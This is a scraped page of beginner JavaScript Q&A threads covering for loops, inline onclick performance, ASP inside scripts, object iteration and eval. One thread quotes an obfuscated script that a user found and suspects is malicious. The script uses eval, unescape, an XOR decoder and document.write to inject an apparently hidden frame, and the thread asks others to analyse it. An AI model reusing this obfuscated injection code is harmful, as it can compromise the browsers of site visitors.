JavaScript for loop help - javascript

I'm new to JavaScript and programming in general (although I know some people don't consider JavaScript to be a full programming language; I think it is since it has some OOP tendencies).
I am having trouble understanding for loops.
I'm sorry this is so basic, so please don't condescend.
I have this script:
var total = 0;
for(i = 0; i < 2; total+=100)
{
document.write("The sum is " + total);
}
But, my browser window locks up and it doesn't write anything to the browser window.
What am I doing wrong?

You're forgetting to increment i.

Related

Why is JS code inside html <button> tag so slow compared to external JS script file?

I know that using <button onclick="some js code here"> and writing JS directly into HTML is really bad practice. But it's bugging me why is it so slow compared to running included JavaScript file (for example when I run a function from the outer file it is about 100x faster). Seems like the same code but the execution time is greatly different.
Here you have an example:
var i, x = 0;
for (i = 0; i < 1000000; i++) {
x += Math.random() * 10
};
document.getElementById('value').innerHTML = x;
function loop() {
var x = 0;
for (i = 0; i < 1000000; i++) {
x += Math.floor(Math.random() * 10)
};
document.getElementById('value').innerHTML = x;
}
<h1 id="value">value</h1>
<button onclick="var i, x = 0; for(i=0;i<1000000;i++){x += Math.floor(Math.random()*10)}; document.getElementById('value').innerHTML = x; ">test speed</button>
<button onclick="loop()">test speed 2</button>
"test speed" and "test speed 2" buttons have identical code to run but the second button runs it much faster (the one that runs it from outer js file).
Most JS engines are able to optimize for predefined functions, which is why it is so much faster. When you don't define your functions up front, it becomes much harder for browsers to optimize the JS execution.
I see no reason why it should be harder to optimize the code in the button.
I would guess instead that the JavaScript engine just does not keep track of the code in the button. After all the JavaScript engine and the DOM engine code are separate.
That would mean that the JavaScript has to parse and optimize it for every button click since it does not know if it has changed since the last run.
Of course the people coding the browser could fix this, but why should they? ;-)
code string set in onclick requires internal eval which causes the slowness.
Try wrap the code inside loop() function with eval and you will get the same result as it is in onclick attribute

ASP if statements and while loops in javascript

I've noticed that you can set javascript variables using ASP code. For example:
var test = "<%response.write(number)%>"
I was wondering if other types of ASP code can work in javascript, such as if statements or while loops. For Example:
function test1()
{
count = 0;
<%if number = 1 then%>
count = count + 1;
<%end if%>
}
function test2()
{
count = 0;
<%index = 0
do while index < 10 %>
count = count +1;
<%index = index +1
loop%>
}
I am relatively new to web development and programming so I'm not sure if this is possible. If this does not work, is there any way I can get around this or a different way to code it?
Any tips or advice would be greatly appreciated.
As I say in my comment, it's really important to understand the difference between client-side and server-side processing in things like ASP, ASP.NET, PHP, etc.
As you appear to know, the javascript is run on the client-side (i.e. the browser). The server-side does processing of the ASP, ASP.NET, PHP, etc and then sends information (HTML, Javascript, etc) to the browser.
You can indeed do the following code that you have written...
function test2()
{
count = 0;
<%index = 0
do while index < 10 %>
count = count +1;
<%index = index +1
loop%>
}
But instead of the SERVER doing the calculation 10 times, the server will create the line 10 times and send it to the browser...
function test2()
{
count = 0;
count = count +1;
count = count +1;
... followed by another 8 lines of the same
}
... meaning the CLIENT run javascript will do the calculation 10 times.
Depending on exactly what you need the code to do will depend on whether the code should be run client-side or server-side... it's pretty much impossible to tell you which without knowing what you're trying to do.
Hope this helps

Reading out a JS object

I have been messing around for a project I'm working on with arrays in JS. However, since this didn't work out, I had to turn to objects. Never having used these, I'm wondering about something fairly simple, yet complicated to me. I have the following code:
var ticket_amount = {};
var days = $(".t_days_" + ticket_id).val().split(',');
for(var i = 0; i < days.length; i++)
{
if (! ticket_amount[days[i]])
{
ticket_amount[days[i]] = 0;
};
ticket_amount[days[i]] += num_tickets;
}
This gives me my output as follows:
I now want to use the information in this object to display some more information. More specifically, I need to get both the date and the ticketnumber out so I can work with them in jQuery. I'm not sure how to do this, though.
I've tried stuff like:
for(tickets in ticket_amount) { }, for(var i = 0; i < ticket_amount.length; i++) {}, but none of these options seem to work. How do I get the information out in this specific case? Thanks a lot.
I won't be on the computer after posting this so I won't be able to answer to any questions for now, but I will find time for it tomorrow. Thanks in advance.
You were almost correct. This would print the data you need, for example.
for(ticket in ticket_amount)
{
console.log("Ticket:" + ticket + " amount: " + ticket_amount[ticket]);
}
EDIT:
of course, ticket in the above example should have been named just a tad better :)
for(day in ticket_amount){
// Here day contains the day, and ticket_amount[day] contains the number of tickets
alert(day+': '+ticket_amount[day]);
}

obfuscated javascript code

I have encountered some java script code which I believe is malicious but most of it is obfuscated. I was wondering if someone could help me figure out what this code actually does.
eval(unescape('function n48ec61ae(s) {
var r = "";
var tmp = s.split("12113781");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "608421");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
}
return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF#dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR#QTAOKRCE$5!A#n~cqa PDVJH xw| $_RE#!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms#q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I#^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF#;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->
Just as a reminder DO NOT EXECUTE THIS CODE.
Silly rabbit... tricks are for virtual machine images which you were planning on discarding anyway...
I've spent a good deal of time on this and I think I can confirm that this is so obfuscated that it can't do anything anymore.
You'll get this:
<html>D`i]eI>vdsq\H>kW^v`fly*ZLJI3ujouk#BuazbrkzkA&ckwo{lgm*dqrpcnl? +=#.k^fjFAaqhmewax!UPLLB0.0'4*?RPBH[?*,* FRAMEBORDER=0$<O<OCNYCKKV?A1%A>ku\tcPHRFJlozXW?<!cmzn6/-un3mdg\alo]o.com/nkdeeza280-{feasffr1hl2rgoDq.11bcC-7;'17,cI!YPYJLF[K><frame NAME="jo{]cs3fgy+"[PKE]cxzo5]s`nk&$O#SDHLUDCYAK.+NFL?ITGJBBDU>)9OCPMUOHVF>'XO&HZESF<SXCKNI*.(ZQQKOCMKB#/jp^r^viu=Gyq^rkljnGJ3pvgq`ognIB/jl{pD
The problem is that another function is needed to unscramble this. Notice how it has <html> as well as FRAMEBORDER=, and <frame? That means that there is something which is able to break this up into chunks and reassemble it. The fact that there are so much noise also suggests that there is a function which further decrypts this beyond the scope of n48ec61ae.

Replacing repetitively occuring loops with eval in Javascript - good or bad?

I have a certain loop occurring several times in various functions in my code.
To illustrate with an example, it's pretty much along the lines of the following:
for (var i=0;i<= 5; i++) {
function1(function2(arr[i],i),$('div'+i));
$('span'+i).value = function3(arr[i]);
}
Where i is the loop counter of course. For the sake of reducing my code size and avoid repeating the loop declaration, I thought I should replace it with the following:
function loop(s) {
for (var i=0;i<= 5; i++) { eval(s); }
}
[...]
loop("function1(function2(arr[i],i),$('div'+i));$('span'+i).value = function3(arr[i]);");
Or should I? I've heard a lot about eval() slowing code execution and I'd like it to work as fast as a proper loop even in the Nintendo DSi browser, but I'd also like to cut down on code. What would you suggest?
Thank you in advance!
Why not just put the body of the loop into a function?
function doSomething(i, arr) {
function1(function2(arr[i],i), $('div'+i));
$('span'+i).value = function3(arr[i]);
}
and call it in the loop:
function loop() {
for (var i = 0; i <= 5; i++) { doSomething(i, arr); }
}
Gah!
This is a good question, but no, don't ever do that. Using eval in general is not recommended, as you won't see parse errors at load time, only at run time (harder to debug), it's harder to understand what's in scope when (harder to write), and you lose all your toolchain support (syntax highlight, script debugging).
Fortunately, since Javascript is basically a functional language, why not create a function that encapsulates what you want to do, and just call that?
function doMyThingNTimes(n, arr) {
for (var i=0;i <= n; i++) {
function1(function2(arr[i],i),$('div'+i));
$('span'+i).value = function3(arr[i]);
}
}
This is a dreadful idea.
It is inefficient
It is harder to debug
If you are concerned about bandwidth then use minification and HTTP compression.
Uh, no. eval should be treated as close to a last resort. JavaScript functions are First Class Objects so I would just declare whatever functions you need and pass them as one of the params.
Why not:
function loop(s) {
for (var i=0;i<= 5; i++) { s(i); }
}
loop(function4() {
function1(function2(arr[i],i),$('div'+i));$('span'+i).value = function3(arr[i]);
});

Categories

Resources